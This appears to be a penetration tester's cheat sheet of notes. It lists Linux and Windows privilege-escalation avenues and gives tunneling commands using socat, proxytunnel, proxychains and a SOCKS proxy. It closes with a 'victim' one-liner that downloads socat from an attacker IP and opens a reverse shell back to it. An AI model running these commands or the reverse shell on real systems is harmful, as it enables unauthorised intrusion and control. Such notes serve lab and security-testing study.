Privilege Escalation
Linux Privilege Escalation
- sudo -l
- Kernel Exploits
- OS Exploits
- Password reuse (mysql, .bash_history, 000-default.conf...)
- Known binaries with suid flag and interactive (nmap)
- Custom binaries with suid flag either using other binaries or with command execution
- Writable files owned by root that get executed (cronjobs)
- MySQL as root
- Vulnerable services (chkrootkit, logrotate)
- Writable /etc/passwd
- Readable .bash_history
- SSH private key
- Listening ports on localhost
- /etc/fstab
- /etc/exports
- /var/mail
- Process as other user (root) executing something you have permissions to modify
- SSH public key + Predictable PRNG
- apt update hooking (Pre-Invoke)
- Capabilities
Windows Privilege Escalation
- Kernel Exploits
- OS Exploits
- Pass The Hash
- Password reuse
- DLL hijacking (Path)
- Vulnerable services
- Writable services binaries path
- Unquoted services
- Listening ports on localhost
- Registry keys
Kernel Exploits

Tunneling & Port Forwarding
SSH over HTTP (Squid)
socat
socat TCP-L:9999,fork,reuseaddr PROXY:192.168.1.41:127.0.0.1:22,proxyport=3128
ssh [email protected] -p 9999
proxytunnel
proxytunnel -p 192.168.1.41:3128 -d 127.0.0.1:22 -a 5555
ssh [email protected] -p 5555
proxychains
http 192.168.1.41 3128
proxychains ssh [email protected]
corkscrew
ssh [email protected] -t /bin/sh
TCP over HTTP
For this technique, it is necessary to be able to upload a file to a webserver.
Reference: https://sensepost.com/discover/tools/reGeorg/
Config proxychains and create the tunnel
```python abpttsclient.py -c tomcat_walkthrough/config.txt -u http://192.168.1.128/abptts.jsp -f 127.0.0.1:22222/127.0.0.1:22```
Usage
```ssh -p 22222 [email protected]```
Reference: https://github.com/nccgroup/ABPTTS
1. socat
socat TCP4-LISTEN:80,fork TCP4:REMOTE-HOST-IP-ADDRESS:80
Windows Socks Proxy
In this case this is going to be used to access Burp listening on a Windows NATed VM from other PCs in the same network as the Windows Host.
From the Windows Host machine (IP: 192.168.1.206)
Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1234
From other PC on the Windows Host machine network (IP: 192.168.1.69)
Configure `proxychains.conf`:
socks4 192.168.1.206 1234
proxychains socat TCP-LISTEN:8081,fork,reuseaddr TCP:192.168.48.158:8080
This command ahead makes Burp (which is listening on the NATed machine) accessible from 192.168.1.69 on port 8081
Now, configure the Proxy in the browser:
All the traffic is logged on the NATed machine Burp.

Method 1
Attacker:
```socat file:`tty`,raw,echo=0 TCP-L:4444```
Victim:
```wget -q http://10.10.14.16/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.16:4444```
